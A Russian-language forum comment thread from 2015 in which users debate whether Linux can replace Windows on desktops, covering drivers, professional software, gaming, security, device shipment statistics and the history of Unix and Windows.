Вы правы про "опытные руки" гугла. Новый ведроид уже требует больше ресурсов, чем Win8.1.. Не поймите превратно, я никого не защищаю - я просто знаю, что существующий порядок нам с вами никак не изменить.

Аватар пользователя Oriaraniar
Oriaraniar(4 года 7 месяцев)(23:06:59 / 23-10-2015)

Ох....
Ну раз, мои пункты исключений неочевидны, то давайте пройдёмся подробнее:
 

Что вообще может делать линукс в отрыве от человека?

А при чём тут вообще человек то? Сравнение шло именно в формате Windows/Linux, а не HomoSapiens/Linux. Восстание машин никто не заказывал.
 

1. Выведем сразу за рамки всё спецоборудование. Оно точится под вполне конкретные системы, и никто даже не собирается поддерживать весь ныне существующий зоопарк. И правильно, собственно, делают.

Всё спецоборудование делается ровно на том, что удобнее и проще заказчику и его штату. Причём это может быть вообще никак с операционками не связано, а чисто микроконтроллерное исполнение со своим преферансом и поэтессами. Ибо на том уровне цен, на которых продаются томографы, выбор обслуживающей системы чисто технический и выбирается из надёжности, удобства и прочих своих параметров. И пользователи что-либо изменить вообще не в состоянии. Примерно, как прошивка современных авто или телевизора, если переводить на бытовой уровень.  Тут что есть, то есть.  И обсуждать их вообще нет смысла. А то, если вдруг внезапно, завтра выйдет отличный томограф под управлением условной STM32 и самописной системы под него, то пользуясь данной логикой, данная система окажется круче винды, ибо данный конкретный томограф её не держит.
 

2. Примерно туда-же отправим всё профессиональное узконаправленное ПО. Если есть потребность работать в каком-нибудь Pro-E, то цена системы и трудоёмкость обеспечения безопасности и поддержки там отнюдь не основополагающая. И тоже весь зоопарк систем идёт лесом, разрабам явно есть, чем заняться, кроме поддержки мультисистемности.

Даже, если закрыть глаза, что часть перечисленного софта спокойно запускается в Линуксе, а так-же на своеобразное начисление процентов покрытия всего этого счастья, мы приходим ровно к той-же ситуации, что и с оборудованием. Просто удавка вендора чуть слабее затянута. Покупая мощный софт, ценой в сотни килорублей, вы соглашаетесь с тем пунктом, который зовётся системными требованиями. И тут можно попробовать шаманить и их обойти, Последствия будут слегка похожи на русскую рулетку. Но проще смириться с тем, что написано и не искать гемморой на свою голову. Ну или включить мозг и подумать, а сколько именно функций из ворда или фотошопа реально нужно в работе. Очень может оказаться, что либры или гимпа хватит за глаза. А может и не хватить, тут всё сугубо от специфики предприятия зависит. В любом случае, на этом уровне пирамиды появляются реальные варианты экономии заветных килорублей, которые не растут на деревьях.
 

3. Суровые игровые компьютеры.

Тут линух проигрывает по всем фронтам. Целевая аудитория игроков в линуксе явно недостаточна для официального порта ААА проектов. Но нужно это опять же не всем. Кто-то и в 3 героев до сих пор играет, когда время появляется. А вообще, http://ubuntu-wine.ru/index/igry/0-9 Список далеко не настолько мал, как кажется.
 

4. Программисты, завязанные на Майкрософт-решения. Хотя это чем дальше, тем менее верно.

А вот с этого пункта пошло куда интереснее. Начиная с Mono, который не пнул только ленивый, наверное... И заканчивая не Майкрософт решениями, которые чаще всего мультиплатформенные. Вдогонку, автор совсем не учитывает WEB приложения, которым вообще пофиг на среду клиента, ибо работают через браузер. Вотчиной Виндовс программирования остаются C# и производные, завязанные жестко на родные фраэмворки и потому не способные мигрировать. MS SQL далеко не такой стандарт, как может показаться. Есть и другие достойные решения, не требующие столь дорогих лицензий. Так что множество программистов комфортно чувствуют себя вне винды. А некоторым, так вообще винда противопоказана.


Теперь, что касается всего остального, И тут в основном всё упирается во фразу "Хочу, как в винде!!!" Решения, не уступающие по функционалу, но работающие на другом принципе отвергаются как класс. А чаще всего вообще неизвестны тем, кто линь критикует, а в качестве аргументов немощи взяты штатные приложения какого-нибудь из дистрибутивов. Причём тут почему-то забывается тот факт, что в винде штатные программы отсутствуют как класс.
Андроид лучше вообще в качестве линукса не приводить. Ибо это линуксом было очень давно и сейчас их связывает не так много. Ну или мак - это тоже тогда линукс. Как и виндовс для телефонов - полноценная винда.

Так в чём же пользователю выгода от установки линукса? В том, что он бесплатен? Или в том, что там есть вайн и можно крутить вендовый софт? Но ведь бесплатность не делает продукт проще и удобней! Так?

Бесплатность делает линукс доступнее. Удобность - целиком дело привычки. Те, кто с детства на линуксе, на винду переходить не спешат почему то. Да и многие из тех, кто познакомился с ним куда позже - отказываются от винды. И совсем не из чувства уважения "красноглазых", поверьте....

А если без вайна и виртуалок, нативные...

А если винду без драйверов и кодеков? Причём про виртуалки речи вообще не было. Это совсем отдельная песня.

Так что в итоге может линукс и чем он выгоднее венды, если переложить этот вопрос на пирамиду человеческих потребностей? А ничем. )))) От слова совсем.

Собственно, это квинтэссенция всей статьи. Все примеры из двух!!! прошлых статей с комментариями во внимание не принимались ни разу. Линукс не нужен, в топку его!!! 

а есть ли у нас в стране полноценная аппаратно-программная альтернатива, которая может обеспечить хотя-бы базовые уровни вышеприведённой пирамиды?

Есть. По каждому куску "пирамиды" есть аналоги. Есть взрослые проекты на NanoCADе. Есть PostgreSQL. Есть много чего того, о чём виндовс-пользователи даже не догадываются. И что самое грустно, они и не хотят об этом знать, предпочитая свою платформу, как единственно рассово-верную.
Причём даже упоминания о русской операционке "которая по-факту тоже форк линукса очередной" вообще ни разу не всплыли. А люди этим занимаются. Хотя, наверное, от безделья, а не от желания заменить ячейки "Пирамиды"

Ну и напоследок. В статье мягко обделены вниманием всё то, с чего статья началась. А именно, о личной безопасности и шпионаже. О том, что винда в лице её создателей хочет знать о каждом шаге пользователя. О том, что даже администратор системы не является сущностью с полными правами. О стабильности и надёжности... 
Тему вирусов и серверов даже поднимать в очередной раз не буду. 



   

Аватар пользователя ®man
®man(3 года 8 месяцев)(23:32:26 / 23-10-2015)

Бесплатность делает линукс доступнее. Удобность - целиком дело привычки.

как уже сказано выше, доступность делает простота использования, ибо пользователь в массе свое малограмотен, а никсы система академическая и для её использования в масах нужно решать целый пласт проблем совершенно в других плоскостях. поэтому ваш вопрос поставлен не корректно.

А если винду без драйверов и кодеков? Причём про виртуалки речи вообще не было. Это совсем отдельная песня.

уже с 7ой версии веда всё централизовано тянет из WU

Собственно, это квинтэссенция всей статьи. Все примеры из двух!!! прошлых статей с комментариями во внимание не принимались ни разу. Линукс не нужен, в топку его!!! 

вы совершенно не вникли в суть вопроса. единственный аргумент вынесенный из прошлых статей это бесплатность линуксов. но бесплатность не делает его удобней и это уж точно не отменяет его использования в нишевых областях. 

Причём даже упоминания о русской операционке "которая по-факту тоже форк линукса очередной" вообще ни разу не всплыли.

форк линукса не есть полная аппаратно-программная альтернатива существующим решениям, согласитесь

 о личной безопасности и шпионаже.

массовость продукта автоматически делает его уязвимым и на примере недолинукса в виде андроида это прекрасно видно. и вирусы относятся в эту же статью.

Аватар пользователя Орлушин Тарассий

Батенька, Вы теоретик.

1. Удобство пользования у убунты, минта и росы примерно как у макоси -- поставил и работай. Никаких пластов проблем, если нету уж совсем экзотического железа.

2. Штатные вендовые драйверы неполнофункциональны. Думал, что хоть это Вы знаете. (((((

3. Для решения ЛЮБЫХ!!! одинаковых задач линуксы удобнее, если не имеется в виду особо сильно урезанная сборка с выстегнутой автоматизацией.

4. Что такое "существующие решения"? ЛЮБАЯ ОС с API Win32 будет дырявой независимо от того, кто и как её писал, -- спецификация такая, bad-by-design.

5. Вы не отличаете дыры в ОС от вредоносных приложений с закрытым кодом. Последние есть для ЛЮБОЙ ОС любого семейства.

Комментарий администрации:  
*** Ходор прав! ***
Аватар пользователя AlexN
AlexN(5 лет 3 месяца)(00:36:58 / 24-10-2015)

Скажите, что вы можете делать с компьютером? Какой уровень пользования? Что значит

поставил и работай.  ?

Аватар пользователя zelya
zelya(2 года 10 месяцев)(09:13:41 / 24-10-2015)

а что не так - отец немного работал на виндах, купил бук с линами и он на нем работает... ОС это прослойка для инструментария между человеком и инструментом, а не самодостаточная вещь. изначально плохая у Вас постановка вопроса.

есть спрос - поставили в сбербанке и банк-клиент, хотя сначала носом ворочали. просто это инструмент а не некая мера для пиписьки...

Аватар пользователя ®man
®man(3 года 8 месяцев)(00:49:32 / 24-10-2015)

вы, судя по всему, не менее теоретик.

1. сама система ничего не решает, есть прикладной софт которого на никсах в рамках решения вопроса статьи нет или слишком ограниченное количество

2. венда давно тянет православные драва от вендоров.

3. сама система не решает прикладных задач, это делает прикладной софт

4. вопрос как раз и стоит в том, есть ли альтернатива сложившейся ситуации

5 вы не отличаете задачи корпораций по сбору пользовательских данных от безопасности. все системы, так или иначе, принадлежат одним и тем же корпорациям

 

 

Аватар пользователя zelya
zelya(2 года 10 месяцев)(09:20:09 / 24-10-2015)

я в своем посте и вынесенном из него в отдельную статью для определения проблемы написания прикладного ПО в линуксе.

Вам говорит о том что большая часть ПО сейчас пишутся на тех же линуксах или в инструментарии, пришедшем от линукса, включая и игры. просто продажи там осуществить в отсутствие аппаратной части сложно, что и объясняет причины не переноса того ПО.

тобой упомянутая Майя, СоундФорж, Блендер - они как раз не комбайны а узкоспециализированные прежде инструменты, пришедшие с линусовых узкоспециализированных кластерных платформ для написания спецэффектов кино и позже портированное на винду.

Аватар пользователя ®man
®man(3 года 8 месяцев)(12:53:56 / 24-10-2015)

не важно кто в чем пишет код. работает он на той системе которую используют люди.

майя и соундфордж это часть комбайна ведь и автодеска пакет гораздо шире и сони делает не только соундфордж

пакет от адоба позволяет работать над составными частями одного документа в разных своих приложениях

автодеск позволяет работать над одним проектом группе проектировщиков

чем это не конвейер?

Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(19:50:42 / 24-10-2015)

А вы, батенька, таки идеалист. Но именно это помешало вам стать профессионалом. Вы рассуждаете, как простой домашний юзер. Уж простите за прямоту. Без обид.

Аватар пользователя Oriaraniar
Oriaraniar(4 года 7 месяцев)(08:55:57 / 24-10-2015)

уже с 7ой версии веда всё централизовано тянет из WU

Вот только почему-то всегда приходится докачивать всякие принтеры, видеокарты, и всякое по-мелочи. На буке же никогда не ставится драйвер WiFi, что доставляет кучу приятных моментов по поиску точки подключения к инету, для докачки всего того, что в винду не подвезли.


форк линукса не есть полная аппаратно-программная альтернатива существующим решениям, согласитесь

Не соглашусь. Все версии линукса по-факту форки разных времен одного ядра. По большей части, что подходит к одному линуксу, подходит и к остальным.Во всяком случае сие верно для самых популярных версий.

 массовость продукта автоматически делает его уязвимым

Опять же не соглашусь. В ведроиде вырезано абсолютно всё, что только можно и чего нельзя.И именно в таком кастрированном виде он и стал уязвим, ибо даже обнаруженные дыры невозможно править оперативно, без воли Гугла. Часть же дыр отнесено к фичам и не правится принципиально. В таких условиях о безопасности говорить как-минимум глупо.

Ну и еще. По результату всего этого многодневного спора все, кто хотели что-то узнать, выяснить, спросить давно это сделали. Остались в основном лишь фанаты своих веток, которых убеждать бесполезно. Аргументов противной стороны они просто не видят и не хотят видеть. 
Побуду только немного Вангой и попророчествую слегка. 
Рано или поздно выйдет (все продукты дальше условны, не надо к ним придираться) 128 битные системы, 8 .NET, USB5 или что-то аналогичное. Которое, внезапно, будет поддерживаться ТОЛЬКО старшей версией системы, а нынешняя 7 займёт место нынешней ХР. И все ваши великолепные программы, без которых вы жить не можете, тоже перейдут на старшую версию системы. А старые версии снимут с поддержки. И перестанут продавать к ним лицензии. Такое уже есть повсеместно, тут даже не надо быть старой слепой женщиной.
И вот тут наступит дилема:
- Переходить на старшую версию винды, со всеми её заморочками и проблемами. Ту, которую вам укажут свыше. Причём принудительно переходить, прокручивая в голове историю про индейцев и шерифа. Теряя старые принтеры, видеокарты и всё то, что не вписалось в рынок.
- Оставаться на текущих версиях, работать без лицензий и в подполье, храня рабочие станции по домам сотрудников и при каждом шухере пряча ноутбуки в сумки. И потом один хрен столкнуться с расширением docxxx, которое принципиально будет несовместимо со старыми версиями. Ясно, что появятся конвертеры, но вся работа будет похожа на сказку)
- Пробовать скрещивать ужа и ежа, устанавливая новые библиотеки на старые системы. И вот тут степени красноглазия позавидует любой юникс-админ. Понятно, что такие системы взлетят, как сейчас есть сборки ХР, неотличимые от 7 внешне. И прочее, прочее, прочее.

Линукс же очень мягко проглотит все обновления. Он вообще толерантен ко всему.И если задаться целью, то вполне можно заставить работать старую сборку с новой видеокартой, просто догрузив нужные библиотеки и патчи.

У меня всё, бабушка устала.

Аватар пользователя Игорь Д.
Игорь Д.(5 лет 2 недели)(12:35:39 / 24-10-2015)

Неистово плюсую!

Аватар пользователя ®man
®man(3 года 8 месяцев)(13:18:38 / 24-10-2015)

Вот только почему-то всегда приходится докачивать всякие принтеры, видеокарты, и всякое по-мелочи. На буке же никогда не ставится драйвер WiFi, что доставляет кучу приятных моментов по поиску точки подключения к инету, для докачки всего того, что в винду не подвезли.

сейчас осталось не так много вендоров, чтобы действительно приходилось искать что-то совсем экзотическое

но ведь и в линуксе такое бывает

Все версии линукса по-факту форки разных времен одного ядра

здесь мне наверное нужно было развернуть то что я вкладываю в понятие аппаратно-программной альтернативы

в советские времена у авиационной промышленности СССР была доля рынка около 40%

СССР делал самолёты сам и то как раньше, да и сейчас летают ИЛы и как летают эйрбасы не идёт ни в какое сравнение. эйрбасы и боинги это тралейбусы в небе.

так вот на наших самолётах для набора высоты рычаг тяги нужно было тянуть на себя, а на буржуйских его нужно толкать вперёд и у каждой системы есть своя логика. там было ещё много таких мелких моментов. после развала СССР и захватом авиарынка буржуями, многим советским пилотам, для того чтобы летать дальше пришлось очень сильно переучиваться

в моём понимании альтернатива – то что выполняет те же задачи но может и должно иметь другую конструкцию/логику/архитектуру/ нужное подчеркнуть.

по поводу массовости которая автоматически делает продукт уязвимым яркий пример не только ведро но и сама венда

в остальном я с вами полностью согласен

только вот к мягкому проглачиванию линуксом всех обновлений есть вопросы...

толерантность (в современном западном мире дело благое) не дар предвидения. люди не могут знать, что выстрелит через 5 лет и что будет с самими линуксами

Аватар пользователя Spartan
Spartan(2 года 4 недели)(21:25:20 / 29-10-2015)

+ Линукс же очень мягко проглотит все обновления. Он вообще толерантен ко всему.

- ПОКА толерантен. ПОКА глотает.

Однако, есть мнение, что в ростом популярности пингвина он станет - таки да! - платным и анально огороженым.

Ибо БИЗНЕС.

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(23:32:52 / 23-10-2015)

Мировые продажи всех типов устройств по операционным системам в 2015:

Android 1,454,760
iOS/Mac OS 279,415
Windows 355,035
Others 380,545


Источник: http://www.gartner.com/newsroom/id/2954317

Вывод -- Линукс в виде Андроида уделал Винду в четыре раза.  Также он присутствует в каком-то количестве в Others. В будущем отрыв Линукса еще увеличится.

В целом на сегодня доля винды всего 14%. И будет падать. Винда останется уделом пенсионеров, неспособных воспринимать новое. Лично я винду последний раз где-то 2008 году использовал. С того времени на десктопах у меня были Дебиан и Убунту. Сейчас обхожусь ноутбуком с Макосью, где иногда запускаю Убунту в ВиртуалБоксах.

Аватар пользователя ®man
®man(3 года 8 месяцев)(23:35:18 / 23-10-2015)

вы там договоритесь меж собой, а то одни андроид не считают за линукс, другие в десктопную статистику его пихают ))))

Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(23:42:29 / 23-10-2015)

Это статистика Гартнер по всем типам устройств. Десктопы собственно мало кому нужны, планшеты и ноутбуки гораздо популярнее.

Полагаю в этой же статистике и всякие умные телевизоры, навигаторы и прочая шняга.

Договариваться мне ни с кем не нужно, у меня свое мнение, у других свое. Но мое мнение на статистике основывается.

Аватар пользователя ®man
®man(3 года 8 месяцев)(23:41:45 / 23-10-2015)

и вы годовую активацию с общим количеством немного попутали

в приведённом примере не общий баланс

Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(23:52:12 / 23-10-2015)

Я ничего не попутал. Эта статистика по мировым поставкам в 2015 году от Гартнера. Если кто и попутал, так это Гартнер, в чем я сомневаюсь. Хотя прогноз на 2016 у них действительно попутанный, тут я уже сомневаюсь в прогнозируемый ими рост поставок винды, я думаю упадет она еще сильнее.

Аватар пользователя ®man
®man(3 года 8 месяцев)(23:51:32 / 23-10-2015)

именно по поставкам (активациям за год), а не общее количество используемых систем за всё время

Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(23:55:14 / 23-10-2015)

И?

Вернитесь к исходному сообщению, там в первом предложении говорится, что это продажи (хотя точнее сказать поставки) за 2015 год. Где вы нашли "за все время"?

Аватар пользователя ®man
®man(3 года 8 месяцев)(23:59:36 / 23-10-2015)

это означает что темпы роста у мобильной платформы выше чем темпы роста у десктопов и не более

мобильная платформа (устройства с ними) полностью обновляются в два/два с половиной года и все поставки осуществляются по новой,т.е. простой круговорот

у этого рынка есть своя примерная емкость в 1,5 - 2 млрд. и она близка к наполнению, по крайней мере на данный момент

рынок десктопов же ещё до широкого распростронения мобильных платфор уже насчитывал более полутора миллиарда пользователей

Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(00:47:21 / 24-10-2015)

Примерно тоже самое лет 25 назад говорили те, кто работал на Sun, SGI и прочем. Типа куда вы со своими игрушечными писюками, на них и приложений то нормальных нет.

Лично в моей семье уже давно винда изжита. Когда у жены её виндовозный асер после трех лет работы стал безнадежно глючить, я ей отдал свой трехлетний же макбук, а себе взял новый. Старому макбуку теперь уже 5 с половиной лет, работает без глюков. Еще у жены айпад и айфон. А у меня Nokia N900 -- это старенький телефон с линуксом. Итого на 5 рабочих устройств без винды где-то в шкафу валяется нерабочий асер с виндой.

Пройдет лет 10 и на виндовозников будут смотреть как на экскременты мамонта. Примерно так в 2000 смотрели на тех, кто в 1990 пользовался машинами DEC.

Аватар пользователя ®man
®man(3 года 8 месяцев)(00:24:00 / 24-10-2015)

вы так и не поняли, что ошибочность вашего восприятия статистических данных автоматически делает ваши выводы о ситуации неверными

Пройдет лет 10 и на виндовозников будут смотреть как на экскременты мамонта

я это от маководов ещё в 2005м слышал

Аватар пользователя Орлушин Тарассий

Мак -- платформа, жёстко привязанная к специфическоум железу.

Если бы яблоко выпустило ОС, пригодную для любого (или хотя бы почти любого) писюка, вендов бы уже не было на свете.

Комментарий администрации:  
*** Ходор прав! ***
Аватар пользователя ExMuser
ExMuser(4 года 5 месяцев)(04:22:07 / 24-10-2015)

Есть разные iDeneb'ы, но с ними столько плясок с бубном при установке, что лучше уж Убунту.

Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(00:32:22 / 24-10-2015)

Счет на табло. Поставки винды в этом году 14% от общих поставок. Какое еще возможно восприятие?

Поэтому ваши друзья были недалеки от истины. Это уже все, в принципе. Но через десять лет поставки будут 4%. Тенденция уже ясна.
 

Аватар пользователя ®man
®man(3 года 8 месяцев)(00:38:46 / 24-10-2015)

веруйте )))

Аватар пользователя tokomak
tokomak(5 лет 11 месяцев)(01:09:33 / 24-10-2015)

Понимаете, есть устройства которые просто игрушка в руках человека, вот там и процветает всякое то, что вы и расхваливаете, а есть устройства, которые рабочий инструмент в руках человека. Инструмент! - понимаете?

И всё то дело в том, что кол-во инструментов растёт в социуме медленнее, чем кол-во игрушек и прочих жопогреек. Но из этого ну ни как не следует, что инструменты вымрут и будут заменены на игрушки.

Ваше понимание ситуации похоже на такое: мы изобрели клей, и теперь болты с гайками не нужны, смотрите нашего клея продаётся всё больше и больше, скоро болты с гайками вообще вымрут, типа тенденция уже ясна.

Однако вся суть в том, что разговор о разных вещах, о разных зонах применения.

Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(01:37:25 / 24-10-2015)

Но вы то застали машины DEC? А процессор Alpha? С таким ником вроде должны быть в курсе. Вот же был какой инструмент, не чета всяким PC AT, которые годились играть в цивилизацию и героев.

Винда выросла именно из такой ниши, из ниши игрушек. А выросла до того, что практически полностью вынесла все предшествующие "рабочие" системы. Но тут на рынке серверов появился Линукс и Винда как-то притормозила победное шествие.

А теперь из родной ниши винды, ниши досуга, уже её начинают тупо выносить. Винда оказалась между молотом и наковальней. Так что она может быть задвинута на задворки истории быстрее, чем оказались задвинуты Solaris, HPUX, AIX и вся компания.

Хотя, говорят, где-то еще до сих пор применяют даже мэнфреймы IBM. Имеют зону применения. Но это же уже экзотика.

Аватар пользователя ®man
®man(3 года 8 месяцев)(01:42:22 / 24-10-2015)

вы матчасть то изучили бы

UNUX системы разрабатываются с конца 50-х и работают с начала 60-х годов. какая версия венды тогда была?

Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(01:49:56 / 24-10-2015)

Во-первых, со сроками вы промахнулись, во-вторых причем тут это?

Аватар пользователя ®man
®man(3 года 8 месяцев)(01:51:46 / 24-10-2015)

ну вам точно нужно восполнить пробелы в знаниях и вы не будите задавать таких вопросов

Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(02:36:47 / 24-10-2015)

Какие пробелы? Вы о чем? Вопрос я вам задал не потому, что хочу у вас что-то узнать. Вопрос я вам задал исключительно чтобы попытаться разобрать, в чем состоит ваше заблуждение.

Unix начали разрабатывать Кен Томпсон и Денис Ричи в 1969 году. Они начали это практически как хобби. Нашли простаивавшую машину в Bell Labs и самоcтоятельно начали что-то изобретать. Изобрели язык С и систему Unix. Да, они заимствовали идеи из языка BCPL и системы Multics. Ну так все что-нибудь где-нибудь заимствуют. А коммерческой системой Unix стал где-то к середине 70-х. Причем его еще долго продолжали раздавать бесплатно в университеты. Сетевые возможности Unix были созданы в университете Беркли в конце 70-х начале 80-х годов.

Билл Гейтс начал писать Бейсик в 1975 году для машин с ОС CP/M. Потом его компания создала MS DOS, и они не просто заимствовали идеи CP/M, а копировали все напропалую. Винда появилась как надстройка над MS DOS. Идею графического интерфейса заимствовали из исследовательской лаборатории PARC XEROX, где над этой темой работали c начала 70-х.

В Unix графическую оболочку (X Window) стали делать в MIT, идею взяли там же где и Билл Гейтс и примерно в то же самое время.

И параллельно всему этому по похожему пути Джобс развивал компанию Эппл.

Ну вот, после этого краткого исторического экскурса, позвольте все-таки уточнить, с чего это вы заявили, что Unix начался с конца 50-х, и какое собственно отношение к делу это имеет, даже если вы указали неверную датировку?

Аватар пользователя ®man
®man(3 года 8 месяцев)(02:49:09 / 24-10-2015)

Bell Labs начал разработку собственной системы в конце 50-х, эти разработки, собственно, и легли в основу ядра UNIX систем

в 70-х *nixы уже были и на рабочих станциях и на серверах. венда пришла туда существенно позже (во второй половине 90-х), даже позже линукса, разработка которого стартавала в начале 90-х, к середине 90-х была уже вторая версия ядра.

утверждать что юникс/линукс стал теснить венду на поле серверов в корне неверно. ситуация как раз обратная. венда практически вытеснила *никсы и загнала их исключительно в узкую нишу веб серверов.

Денис Ричи, кстати, до 69го уже работал в Bell Labs. о каком хобби может быть речь? )

Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(03:30:04 / 24-10-2015)

Bell Labs много чего разрабатывал. Систему Multics они начали делать в начале 60-х. Это была сложная система, над ней долго работало много людей. И проект заврешился фактически провалом. Но они придумали много интересных идей, которые потом стали использоваться буквально везде. Например принципы организации файловой системы и виртуальной памяти. Ознакомьтесь:

https://ru.wikipedia.org/wiki/Multics

Unix был разработан с нуля и полу-подпольно небольшой группой людей (Ритчи, Томпсон, примкнувший к ним Керниган) в 1969. Только когда все увидели, что получилось, эта работа была признана. А наследником Multics его можно считать только поскольку там использованы некоторые его идеи на концептуальном уровне.

CP/M был разработан в 1973 году, и точно так же он был создан не на пустом месте. Виртуальной памяти там не было, но файловая система была. Так что CP/M можно точно так же считать наследником Multics. Вообще все что появилось после Multics в той или иной мере наследовало его идеи. Ну а DOS это уже прямое передирание CP/M.

Первая версия винды это 1985 год, ознакомьтесь:

https://ru.wikipedia.org/wiki/Windows_1.0x

Первая версия XWindow это 1984 год, ознакомьтесь:

https://ru.wikipedia.org/wiki/X_Window_System

Современный Linux отличается от Unix 70-х ровно так же как отличается современный Windows от CP/M. Ну разве что Unix изначально был рассчитан на нормальные машины, а CP/M был расчитан на 8-битные игрушки. Поэтому Unix стал довольно быстро использоваться для серьезных задач, а потомкам CP/М для этого понадобилось 15 лет.

 

утверждать что юникс/линукс стал теснить венду на поле серверов в корне неверно. ситуация как раз обратная. венда практически вытеснила *никсы и загнала их исключительно в узкую нишу веб серверов.

Это где вы у меня подобные утверждения нашли? Не нужно за меня выдумывать. Во-первых, Unix и Linux это разные системы. У них просто похожий интерфейс. Совместимый. Во-вторых, я писал ровно о том, что винда отодвинула серьезные профессиональные Unix-системы, такие как Solaris, HPUX, AIX. Но когда появился Линукс, он притормозил наступление Винды. Это абсолютно противоположено тому, что вы мне приписываете.

А вот теперь начинается следующий этап. В родном для Винды сегменте случился переворот. И это будет фатально для винды. Она не успела полностью захватить серверный рынок. Законсервировать себя в нише high-end систем она не сможет, там все еще недобитый до конца Юникс с подкреплением в виде Linux обосновался. А это очень прочная ниша для выживания. Тот же IBM, плотно окопавшись, там уже пару десятилетий как-то держится. Получается винде негде закрепиться. Её теперь достаточно быстро сметут. Как я говорил, лет за 10.

Аватар пользователя ®man
®man(3 года 8 месяцев)(03:28:39 / 24-10-2015)

Но тут на рынке серверов появился Линукс и Винда как-то притормозила победное шествие.

венда на рынок серверов пришла позже всех

Аватар пользователя avdicius
avdicius(4 года 8 месяцев)(03:56:30 / 24-10-2015)

На рынок серверов пришла уже Windows NT, это фактически другая система, создана она была под руководством ветерана разработки ОС, пришедшего в MS из DEC:

https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%82%D0%BB%D0%B5%D1%80,_%D0%...

Произошло это еще в первой половине 90-х примерно одновременно с Линуксом. Линукс в начале был очень слаб, разработка велась под руководством студента, а не ветерана.

Относительную силу Линукс набрал только где-то к версии 2.2 (1999), ну а для использования для ответственных задач это уже версия 2.4 (2001). Это совпало с этапом бурного развития интернета, вот тут Линукс и оказался востребован, и захватил достаточно устойчивую нишу, из которой долгое время не мог выйти.

Следующий рывок Линукса это Андроид. Ну и думаю будет еще один рывок, это облачные технологии. Приложения постепенно переместятся в облака. Для ЦОДов Линукс привычнее и винда не дает там никаких преимуществ. Для конечных пользователей будут планшеты на андроиде. Десктопы останутся только у тех, кому заняться больше нечем, у гиков или пенсионеров.

Аватар пользователя ®man
®man(3 года 8 месяцев)(04:07:38 / 24-10-2015)

облака относительно молодая концепция, но имеет место быть. её узким местом являетются каналы передачи данных, их нужно утолщать и на порядки. да и протоколы сегодняшние оставляют желать лучшего.

Аватар пользователя zelya
zelya(2 года 10 месяцев)(09:37:39 / 24-10-2015)

все как-то развивается, и то что даже 5 лет назад, оЙфоны (с) яблоко было с ног сшибающей концепцией, то даже 10 лет назад о таком векторе даже никто предположить не мог.

никто не знает что может выстрелить в ближайшие 5-10 лет, не говоря о том что и как будет развиваться.

насчет серверов. винда использовала наработки DEC(VAX VMS и OpenVMS) и IBM(os/2) для построения серверов. сервером была виндовс NT3.51, это было до 1996 года. потом это просто графическая оболочка над серверной системой с огромным количеством костылей.

по программным средам. сейчас тот же МС тупо раздает свой ранее дорогой продукт VS в виде Express, чтобы просто сохранить экосистему.

кто знал еще 5-10 лет назад что будут современные плотности потоков и толщина каналов, в 1999 году 512кБит на крупное промышленное предприятие было чем то не возможным, сейчас даже рядовой браузер на телефоне не сможет прогрузить всю эту порнографию и графоманство даже в современном виде.

почитай научную фантастику еще середины 90х, будешь считать что она писалась в 70-е, не раньше...

Аватар пользователя ®man
®man(3 года 8 месяцев)(13:40:14 / 24-10-2015)

согласен полностью

но вот фантастика...

я читаю то, что написано в 60-е и вижу, что мы даже до того, что там написано еще не дошли (

Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(19:53:51 / 24-10-2015)

Кстати, жаба таки отпустила "майкрософт" - Win8.1 для одного языка теперь бесплатна для планшетов до 10 дюймов. Представляете лица юзверей, переползающих на дешевые "атомные" планшеты под виндовозом? На них работает практически все то, что на их домашних компьютерах. Кроме тяжелых игр. "И чего я полжизни потерял под ведроидом?" - первая реакция после недели использования планша...

Аватар пользователя Spartan
Spartan(2 года 4 недели)(21:27:33 / 29-10-2015)

+ Десктопы собственно мало кому нужны, планшеты и ноутбуки гораздо популярнее.

Полагаю в этой же статистике и всякие умные телевизоры, навигаторы и прочая шняга.

- Ну так в этой нише винда - в роли догоняющего. Очень медленно догоняющего.

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя Fandaal
Fandaal(2 года 11 месяцев)(23:45:49 / 23-10-2015)

Закономерная эволюция. Windows в последние годы "посыпалась", потеряла авторитет, что-то где-то упустили, почивали на лаврах.

Свои позиции они потеряют, однозначно. Дело это не быстрое, через несколько лет увидим динамику.

Всё же винда не симбиан, долго будет умирать, сдаваться не будет )

Сам на ней пока.

 

Аватар пользователя Dmitry77
Dmitry77(5 лет 2 месяца)(00:28:23 / 24-10-2015)

Есть ещё одна очень важная для любого бизнеса вещь. Возможность отправить свои проблемы выше. Вплоть до разработчиков... И некоторая гарантия что крупные проблемы устранял в более менее приемлемые сроки.

И именно по этому не "взлетел"а микрософтовская мобильная ось - это не корпоративные клиенты им поддержка не требуется...

Аватар пользователя StalkerJS
StalkerJS(4 года 4 месяца)(01:21:12 / 24-10-2015)

Самое ололо начинается, когда пытаются рассказывать про то, как удобно работать в гимпе какому-нибудь фотографу, который тыкает у себя на макбуке лайтрум.

Впрочем, ещё большее ололо - это открытость системы, которую граждане подают как панацею от всего.

Аватар пользователя TEvg
TEvg(2 года 10 месяцев)(12:34:18 / 24-10-2015)

В Гимпе работать удобно. Но это личное. На вкус и цвет товарищей нет. Но там нет 16-битного цвета и это очень плохо. 2.10 гимп с 16-битным цветов обещали в 2013. И как только пообещали гимп 2.10 - он сдох. До этого он шустро развивался, выходили версии, добавлялся функционал.

Комментарий администрации:  
*** Отчислен ***
Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(19:57:37 / 24-10-2015)

